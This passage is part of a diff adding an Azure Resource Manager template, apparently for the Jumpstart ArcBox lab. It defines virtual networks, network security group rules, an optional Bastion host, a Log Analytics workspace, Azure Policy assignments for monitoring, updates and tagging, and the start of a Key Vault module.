network" + } + }, + "aksSubnetName": { + "type": "string", + "defaultValue": "[format('{0}-AKS-Subnet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the subnet in the virtual network" + } + }, + "dcSubnetName": { + "type": "string", + "defaultValue": "[format('{0}-DC-Subnet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the Domain Controller subnet in the virtual network" + } + }, + "drVirtualNetworkName": { + "type": "string", + "defaultValue": "[format('{0}-DR-VNet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the DR VNet" + } + }, + "drSubnetName": { + "type": "string", + "defaultValue": "[format('{0}-DR-Subnet', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the DR subnet in the DR virtual network" + } + }, + "workspaceName": { + "type": "string", + "metadata": { + "description": "Name for your log analytics workspace" + } + }, + "flavor": { + "type": "string", + "allowedValues": [ + "ITPro", + "DevOps", + "DataOps" + ], + "metadata": { + "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro'" + } + }, + "location": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Azure Region to deploy the Log Analytics Workspace" + } + }, + "sku": { + "type": "string", + "defaultValue": "pergb2018", + "metadata": { + "description": "SKU, leave default pergb2018" + } + }, + "deployBastion": { + "type": "bool", + "defaultValue": false, + "metadata": { + "description": "Choice to deploy Bastion to connect to the client VM" + } + }, + "bastionSku": { + "type": "string", + "defaultValue": "Basic", + "allowedValues": [ + "Basic", + "Standard", + "Developer" + ], + "metadata": { + "description": "Bastion host Sku name" + } + }, + "networkSecurityGroupName": { + "type": "string", + "defaultValue": "[format('{0}-NSG', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the Network Security Group" + } + }, + "bastionNetworkSecurityGroupName": { + "type": "string", + "defaultValue": "[format('{0}-Bastion-NSG', parameters('namingPrefix'))]", + "metadata": { + "description": "Name of the Bastion Network Security Group" + } + }, + "dnsServers": { + "type": "array", + "defaultValue": [], + "metadata": { + "description": "DNS Server configuration" + } + }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" + }, + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } + } + }, + "variables": { + "keyVaultName": "[toLower(format('{0}{1}', parameters('namingPrefix'), uniqueString(resourceGroup().id)))]", + "security": { + "name": "[format('Security({0})', parameters('workspaceName'))]", + "galleryName": "Security" + }, + "subnetAddressPrefix": "10.16.1.0/24", + "addressPrefix": "10.16.0.0/16", + "aksSubnetPrefix": "10.16.76.0/22", + "dcSubnetPrefix": "10.16.2.0/24", + "drAddressPrefix": "172.16.0.0/16", + "drSubnetPrefix": "172.16.128.0/17", + "bastionSubnetName": "AzureBastionSubnet", + "bastionSubnetRef": "[format('{0}/subnets/{1}', resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName')), variables('bastionSubnetName'))]", + "bastionName": "[format('{0}-Bastion', parameters('namingPrefix'))]", + "bastionSubnetIpPrefix": "10.16.3.64/26", + "bastionPublicIpAddressName": "[format('{0}-PIP', variables('bastionName'))]", + "primarySubnet": [ + { + "name": "[parameters('subnetName')]", + "properties": { + "addressPrefix": "[variables('subnetAddressPrefix')]", + "privateEndpointNetworkPolicies": "Enabled", + "privateLinkServiceNetworkPolicies": "Enabled", + "networkSecurityGroup": { + "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + } + } + } + ], + "bastionSubnet": "[if(not(equals(parameters('bastionSku'), 'Developer')), createArray(createObject('name', 'AzureBastionSubnet', 'properties', createObject('addressPrefix', variables('bastionSubnetIpPrefix'), 'networkSecurityGroup', createObject('id', resourceId('Microsoft.Network/networkSecurityGroups', parameters('bastionNetworkSecurityGroupName')))))), createArray())]", + "dataOpsSubnets": [ + { + "name": "[parameters('aksSubnetName')]", + "properties": { + "addressPrefix": "[variables('aksSubnetPrefix')]", + "privateEndpointNetworkPolicies": "Enabled", + "privateLinkServiceNetworkPolicies": "Enabled", + "networkSecurityGroup": { + "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + } + } + }, + { + "name": "[parameters('dcSubnetName')]", + "properties": { + "addressPrefix": "[variables('dcSubnetPrefix')]", + "privateEndpointNetworkPolicies": "Enabled", + "privateLinkServiceNetworkPolicies": "Enabled", + "networkSecurityGroup": { + "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + } + } + } + ] + }, + "resources": [ + { + "type": "Microsoft.Network/virtualNetworks", + "apiVersion": "2022-01-01", + "name": "[parameters('virtualNetworkName')]", + "location": "[parameters('location')]", + "properties": { + "addressSpace": { + "addressPrefixes": [ + "[variables('addressPrefix')]" + ] + }, + "dhcpOptions": { + "dnsServers": "[parameters('dnsServers')]" + }, + "subnets": "[if(and(equals(parameters('deployBastion'), false()), not(equals(parameters('flavor'), 'DataOps'))), variables('primarySubnet'), if(and(equals(parameters('deployBastion'), false()), equals(parameters('flavor'), 'DataOps')), union(variables('primarySubnet'), variables('dataOpsSubnets')), if(and(equals(parameters('deployBastion'), true()), not(equals(parameters('flavor'), 'DataOps'))), union(variables('primarySubnet'), variables('bastionSubnet')), if(and(equals(parameters('deployBastion'), true()), equals(parameters('flavor'), 'DataOps')), union(variables('primarySubnet'), variables('bastionSubnet'), variables('dataOpsSubnets')), variables('primarySubnet')))))]" + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('bastionNetworkSecurityGroupName'))]", + "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "condition": "[equals(parameters('flavor'), 'DataOps')]", + "type": "Microsoft.Network/virtualNetworks", + "apiVersion": "2022-01-01", + "name": "[parameters('drVirtualNetworkName')]", + "location": "[parameters('location')]", + "properties": { + "addressSpace": { + "addressPrefixes": [ + "[variables('drAddressPrefix')]" + ] + }, + "dhcpOptions": { + "dnsServers": "[parameters('dnsServers')]" + }, + "subnets": [ + { + "name": "[parameters('drSubnetName')]", + "properties": { + "addressPrefix": "[variables('drSubnetPrefix')]", + "networkSecurityGroup": { + "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]" + } + } + } + ] + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "condition": "[equals(parameters('flavor'), 'DataOps')]", + "type": "Microsoft.Network/virtualNetworks/virtualNetworkPeerings", + "apiVersion": "2022-01-01", + "name": "[format('{0}/{1}', parameters('virtualNetworkName'), 'peering-to-DR-vnet')]", + "properties": { + "allowVirtualNetworkAccess": true, + "allowForwardedTraffic": true, + "allowGatewayTransit": false, + "useRemoteGateways": false, + "remoteVirtualNetwork": { + "id": "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]" + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", + "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "condition": "[equals(parameters('flavor'), 'DataOps')]", + "type": "Microsoft.Network/virtualNetworks/virtualNetworkPeerings", + "apiVersion": "2022-01-01", + "name": "[format('{0}/{1}', parameters('drVirtualNetworkName'), 'peering-to-primary-vnet')]", + "properties": { + "allowVirtualNetworkAccess": true, + "allowForwardedTraffic": true, + "allowGatewayTransit": false, + "useRemoteGateways": false, + "remoteVirtualNetwork": { + "id": "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]" + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", + "[resourceId('Microsoft.Network/virtualNetworks', parameters('drVirtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "type": "Microsoft.Network/networkSecurityGroups", + "apiVersion": "2022-01-01", + "name": "[parameters('networkSecurityGroupName')]", + "location": "[parameters('location')]", + "properties": { + "securityRules": [ + { + "name": "allow_k8s_80", + "properties": { + "priority": 1003, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "80" + } + }, + { + "name": "allow_k8s_8080", + "properties": { + "priority": 1004, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "8080" + } + }, + { + "name": "allow_k8s_443", + "properties": { + "priority": 1005, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "443" + } + }, + { + "name": "allow_k8s_kubelet", + "properties": { + "priority": 1006, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "10250" + } + }, + { + "name": "allow_traefik_lb_external", + "properties": { + "priority": 1007, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "32323" + } + }, + { + "name": "allow_SQLMI_traffic", + "properties": { + "priority": 1008, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "11433" + } + }, + { + "name": "allow_Postgresql_traffic", + "properties": { + "priority": 1009, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "15432" + } + }, + { + "name": "allow_SQLMI_mirroring_traffic", + "properties": { + "priority": 1012, + "protocol": "TCP", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "5022" + } + } + ] + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "condition": "[equals(parameters('deployBastion'), true())]", + "type": "Microsoft.Network/networkSecurityGroups", + "apiVersion": "2022-01-01", + "name": "[parameters('bastionNetworkSecurityGroupName')]", + "location": "[parameters('location')]", + "properties": { + "securityRules": [ + { + "name": "bastion_allow_https_inbound", + "properties": { + "priority": 1010, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "Internet", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "443" + } + }, + { + "name": "bastion_allow_gateway_manager_inbound", + "properties": { + "priority": 1011, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "GatewayManager", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "443" + } + }, + { + "name": "bastion_allow_load_balancer_inbound", + "properties": { + "priority": 1012, + "protocol": "Tcp", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "AzureLoadBalancer", + "sourcePortRange": "*", + "destinationAddressPrefix": "*", + "destinationPortRange": "443" + } + }, + { + "name": "bastion_allow_host_comms", + "properties": { + "priority": 1013, + "protocol": "*", + "access": "Allow", + "direction": "Inbound", + "sourceAddressPrefix": "VirtualNetwork", + "sourcePortRange": "*", + "destinationAddressPrefix": "VirtualNetwork", + "destinationPortRanges": [ + "8080", + "5701" + ] + } + }, + { + "name": "bastion_allow_ssh_rdp_outbound", + "properties": { + "priority": 1014, + "protocol": "*", + "access": "Allow", + "direction": "Outbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "VirtualNetwork", + "destinationPortRanges": [ + "22", + "3389" + ] + } + }, + { + "name": "bastion_allow_azure_cloud_outbound", + "properties": { + "priority": 1015, + "protocol": "Tcp", + "access": "Allow", + "direction": "Outbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "AzureCloud", + "destinationPortRange": "443" + } + }, + { + "name": "bastion_allow_bastion_comms", + "properties": { + "priority": 1016, + "protocol": "*", + "access": "Allow", + "direction": "Outbound", + "sourceAddressPrefix": "VirtualNetwork", + "sourcePortRange": "*", + "destinationAddressPrefix": "VirtualNetwork", + "destinationPortRanges": [ + "8080", + "5701" + ] + } + }, + { + "name": "bastion_allow_get_session_info", + "properties": { + "priority": 1017, + "protocol": "*", + "access": "Allow", + "direction": "Outbound", + "sourceAddressPrefix": "*", + "sourcePortRange": "*", + "destinationAddressPrefix": "Internet", + "destinationPortRanges": [ + "80", + "443" + ] + } + } + ] + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "type": "Microsoft.OperationalInsights/workspaces", + "apiVersion": "2021-06-01", + "name": "[parameters('workspaceName')]", + "location": "[parameters('location')]", + "tags": "[parameters('resourceTags')]", + "properties": { + "sku": { + "name": "[parameters('sku')]" + } + } + }, + { + "type": "Microsoft.OperationsManagement/solutions", + "apiVersion": "2015-11-01-preview", + "name": "[variables('security').name]", + "location": "[parameters('location')]", + "properties": { + "workspaceResourceId": "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" + }, + "plan": { + "name": "[variables('security').name]", + "promotionCode": "", + "product": "[format('OMSGallery/{0}', variables('security').galleryName)]", + "publisher": "Microsoft" + }, + "dependsOn": [ + "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" + ] + }, + { + "condition": "[equals(parameters('deployBastion'), true())]", + "type": "Microsoft.Network/publicIPAddresses", + "apiVersion": "2022-01-01", + "name": "[variables('bastionPublicIpAddressName')]", + "location": "[parameters('location')]", + "properties": { + "publicIPAllocationMethod": "Static", + "publicIPAddressVersion": "IPv4", + "idleTimeoutInMinutes": 4 + }, + "sku": { + "name": "Standard" + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + }, + { + "condition": "[equals(parameters('deployBastion'), true())]", + "type": "Microsoft.Network/bastionHosts", + "apiVersion": "2023-11-01", + "name": "[variables('bastionName')]", + "location": "[parameters('location')]", + "sku": { + "name": "[parameters('bastionSku')]" + }, + "properties": { + "virtualNetwork": "[if(equals(parameters('bastionSku'), 'Developer'), createObject('id', resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))), null())]", + "ipConfigurations": "[if(not(equals(parameters('bastionSku'), 'Developer')), createArray(createObject('name', 'IpConf', 'properties', createObject('publicIPAddress', createObject('id', resourceId('Microsoft.Network/publicIPAddresses', variables('bastionPublicIpAddressName'))), 'subnet', createObject('id', variables('bastionSubnetRef'))))), null())]" + }, + "dependsOn": [ + "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]", + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]", + "[resourceId('Microsoft.Network/publicIPAddresses', variables('bastionPublicIpAddressName'))]" + ] + }, + { + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "policyDeployment", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "azureLocation": { + "value": "[parameters('location')]" + }, + "logAnalyticsWorkspaceId": { + "value": "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" + }, + "flavor": { + "value": "[parameters('flavor')]" + }, + "resourceTags": { + "value": "[parameters('resourceTags')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "9222970623693331004" + } + }, + "parameters": { + "azureLocation": { + "type": "string", + "metadata": { + "description": "Location of your Azure resources" + } + }, + "logAnalyticsWorkspaceId": { + "type": "string", + "metadata": { + "description": "Name of your log analytics workspace" + } + }, + "flavor": { + "type": "string", + "metadata": { + "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', 'DevOps'" + } + }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" + }, + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "azureUpdateManagerArcPolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/bfea026e-043f-4ff4-9d1b-bf301ca7ff46" + }, + "azureUpdateManagerAzurePolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/59efceea-0c96-497e-a4a1-4eb2290dac15" + }, + "sshPostureControlAzurePolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/a8f3e6a6-dcd2-434c-b0f7-6f309ce913b4" + }, + "tagsRoleDefinitionId": { + "type": "string", + "defaultValue": "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c', subscription().subscriptionId)]" + } + }, + "variables": { + "policies": [ + { + "name": "(ArcBox) Enable Azure Monitor for Hybrid VMs with AMA", + "definitionId": "/providers/Microsoft.Authorization/policySetDefinitions/59e9c3eb-d8df-473b-8059-23fd38ddd0f0", + "flavors": [ + "Full", + "ITPro" + ], + "roleDefinition": [ + "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/92aaf0da-9dab-42b6-94a3-d43ce8d16293', subscription().subscriptionId)]", + "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/cd570a14-e51a-42ad-bac8-bafd67325302', subscription().subscriptionId)]", + "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/749f88d5-cbae-40b8-bcfc-e573ddc772fa', subscription().subscriptionId)]" + ], + "parameters": { + "logAnalyticsWorkspace": { + "value": "[parameters('logAnalyticsWorkspaceId')]" + }, + "enableProcessesAndDependencies": { + "value": true + } + } + }, + { + "name": "(ArcBox) Enable Microsoft Defender on Kubernetes clusters", + "definitionId": "/providers/Microsoft.Authorization/policyDefinitions/708b60a6-d253-4fe0-9114-4be4c00f012c", + "flavors": [ + "Full", + "DevOps" + ], + "roleDefinition": "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/92aaf0da-9dab-42b6-94a3-d43ce8d16293', subscription().subscriptionId)]", + "parameters": {} + } + ] + }, + "resources": [ + { + "copy": { + "name": "policies_name", + "count": "[length(variables('policies'))]" + }, + "condition": "[contains(variables('policies')[copyIndex()].flavors, parameters('flavor'))]", + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2021-06-01", + "name": "[variables('policies')[copyIndex()].name]", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "policyDefinitionId": "[variables('policies')[copyIndex()].definitionId]", + "parameters": "[variables('policies')[copyIndex()].parameters]" + } + }, + { + "condition": "[contains(variables('policies')[0].flavors, parameters('flavor'))]", + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2020-10-01-preview", + "name": "[guid(variables('policies')[0].name, variables('policies')[0].roleDefinition[0], resourceGroup().id)]", + "properties": { + "roleDefinitionId": "[variables('policies')[0].roleDefinition[0]]", + "principalId": "[if(contains(variables('policies')[0].flavors, parameters('flavor')), reference(resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name), '2021-06-01', 'full').identity.principalId, guid(format('policies_name_id{0}', 0)))]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name)]" + ] + }, + { + "condition": "[contains(variables('policies')[0].flavors, parameters('flavor'))]", + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2020-10-01-preview", + "name": "[guid(variables('policies')[0].name, variables('policies')[0].roleDefinition[1], resourceGroup().id)]", + "properties": { + "roleDefinitionId": "[variables('policies')[0].roleDefinition[1]]", + "principalId": "[if(contains(variables('policies')[0].flavors, parameters('flavor')), reference(resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name), '2021-06-01', 'full').identity.principalId, guid(format('policies_name_id{0}', 0)))]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name)]" + ] + }, + { + "condition": "[contains(variables('policies')[0].flavors, parameters('flavor'))]", + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2020-10-01-preview", + "name": "[guid(variables('policies')[0].name, variables('policies')[0].roleDefinition[2], resourceGroup().id)]", + "properties": { + "roleDefinitionId": "[variables('policies')[0].roleDefinition[2]]", + "principalId": "[if(contains(variables('policies')[0].flavors, parameters('flavor')), reference(resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name), '2021-06-01', 'full').identity.principalId, guid(format('policies_name_id{0}', 0)))]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name)]" + ] + }, + { + "condition": "[contains(variables('policies')[1].flavors, parameters('flavor'))]", + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2020-10-01-preview", + "name": "[guid(variables('policies')[1].name, variables('policies')[1].roleDefinition, resourceGroup().id)]", + "properties": { + "roleDefinitionId": "[variables('policies')[1].roleDefinition]", + "principalId": "[if(contains(variables('policies')[1].flavors, parameters('flavor')), reference(resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[1].name), '2021-06-01', 'full').identity.principalId, guid(format('policies_name_id{0}', 0)))]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[1].name)]" + ] + }, + { + "copy": { + "name": "applyCustomTags", + "count": "[length(items(parameters('resourceTags')))]" + }, + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2021-06-01", + "name": "[format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key)]", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "policyDefinitionId": "/providers/Microsoft.Authorization/policyDefinitions/4f9dc7db-30c1-420c-b61a-e1d640128d26", + "parameters": { + "tagName": { + "value": "[items(parameters('resourceTags'))[copyIndex()].key]" + }, + "tagValue": { + "value": "[items(parameters('resourceTags'))[copyIndex()].value]" + } + } + } + }, + { + "copy": { + "name": "policy_tagging_resources", + "count": "[length(items(parameters('resourceTags')))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2020-10-01-preview", + "name": "[guid(format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key), parameters('tagsRoleDefinitionId'), resourceGroup().id)]", + "properties": { + "roleDefinitionId": "[parameters('tagsRoleDefinitionId')]", + "principalId": "[reference(resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key)), '2021-06-01', 'full').identity.principalId]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key))]", + "[resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key))]" + ] + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Linux hybrid machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Arc-enabled Linux machines", + "description": "Enable Azure Update Manager for Arc-enabled machines", + "policyDefinitionId": "[parameters('azureUpdateManagerArcPolicyId')]", + "parameters": { + "osType": { + "value": "Linux" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Windows hybrid machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Arc-enabled Windows machines", + "description": "Enable Azure Update Manager for Arc-enabled machines", + "policyDefinitionId": "[parameters('azureUpdateManagerArcPolicyId')]", + "parameters": { + "osType": { + "value": "Windows" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Azure Windows machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Azure Windows machines", + "description": "Enable Azure Update Manager for Azure machines", + "policyDefinitionId": "[parameters('azureUpdateManagerAzurePolicyId')]", + "parameters": { + "osType": { + "value": "Windows" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Azure Linux machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Azure Linux machines", + "description": "Enable Azure Update Manager for Azure machines", + "policyDefinitionId": "[parameters('azureUpdateManagerAzurePolicyId')]", + "parameters": { + "osType": { + "value": "Linux" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable SSH Posture Control audit", + "location": "[parameters('azureLocation')]", + "properties": { + "displayName": "(ArcBox) Enable SSH Posture Control audit", + "description": "Enable SSH Posture Control in audit mode", + "policyDefinitionId": "[parameters('sshPostureControlAzurePolicyId')]", + "parameters": { + "IncludeArcMachines": { + "value": "true" + } + } + } + } + ] + } + }, + "dependsOn": [ + "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" + ] + }, + { + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "keyVaultDeployment", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "name": { + "value": "[toLower(variables('keyVaultName'))]" + }, + "enablePurgeProtection": { + "value": false + }, + "enableSoftDelete": { + "value": false + }, + "location": { + "value": "[parameters('location')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "languageVersion": "2.0", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.26.54.24096", + "templateHash": "12538315610403519820" + }, + "name": "Key Vaults", + "description": "This module deploys a Key Vault.", + "owner": "Azure/module-maintainers" + }, + "definitions": { + "diagnosticSettingType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The name of diagnostic setting." + } + }, + "logCategoriesAndGroups": { + "type": "array", + "items": { + "type": "object", + "properties": { + "category": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Name of a Diagnostic Log category for a resource type this setting is applied to. Set the specific logs to collect here." + } + }, + "categoryGroup": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Name of a Diagnostic Log category group for a resource type this setting is applied to. Set to `allLogs` to collect all logs." + } + }, + "enabled": { + "type": "bool", + "nullable": true, + "metadata": { + "description": "Optional. Enable or disable the category explicitly. Default is `true`." + } + } + } + }, + "nullable": true, + "metadata": { + "description": "Optional. The name of logs that will be streamed. \"allLogs\" includes all possible logs for the resource. Set to `[]` to disable log collection." + } + }, + "metricCategories": { + "type": "array", + "items": { + "type": "object", + "properties": { + "category": { + "type": "string", + "metadata": { + "description": "Required. Name of a Diagnostic Metric category for a resource type this setting is applied to. Set to `AllMetrics` to collect all metrics." + } + }, + "enabled": { + "type": "bool", + "nullable": true, + "metadata": { + "description": "Optional. Enable or disable the category explicitly. Default is `true`." + } + } + } + }, + "nullable": true, + "metadata": { + "description": "Optional. The name of metrics that will be streamed. \"allMetrics\" includes all possible metrics for the resource. Set to `[]` to disable metric collection." + } + }, + "logAnalyticsDestinationType": { + "type": "string", + "allowedValues": [ + "AzureDiagnostics", + "Dedicated" + ], + "nullable": true, + "metadata": { + "description": "Optional. A string indicating whether the export to Log Analytics should use the default destination type, i.e. AzureDiagnostics, or use a destination type." + } + }, + "workspaceResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Resource ID of the diagnostic log analytics workspace. For security reasons, it is recommended to set diagnostic settings to send data to either storage account, log analytics workspace or event hub." + } + }, + "storageAccountResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Resource ID of the diagnostic storage account. For security reasons, it is recommended to set diagnostic settings to send data to either storage account, log analytics workspace or event hub." + } + }, + "eventHubAuthorizationRuleResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Resource ID of the diagnostic event hub authorization rule for the Event Hubs namespace in which the event hub should be created or streamed to." + } + }, + "eventHubName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Name of the diagnostic event hub within the namespace to which logs are streamed. Without this, an event hub is created for each log category. For security reasons, it is recommended to set diagnostic settings to send data to either storage account, log analytics workspace or event hub." + } + }, + "marketplacePartnerResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The full ARM resource ID of the Marketplace resource to which you would like to send Diagnostic Logs." + } + } + } + }, + 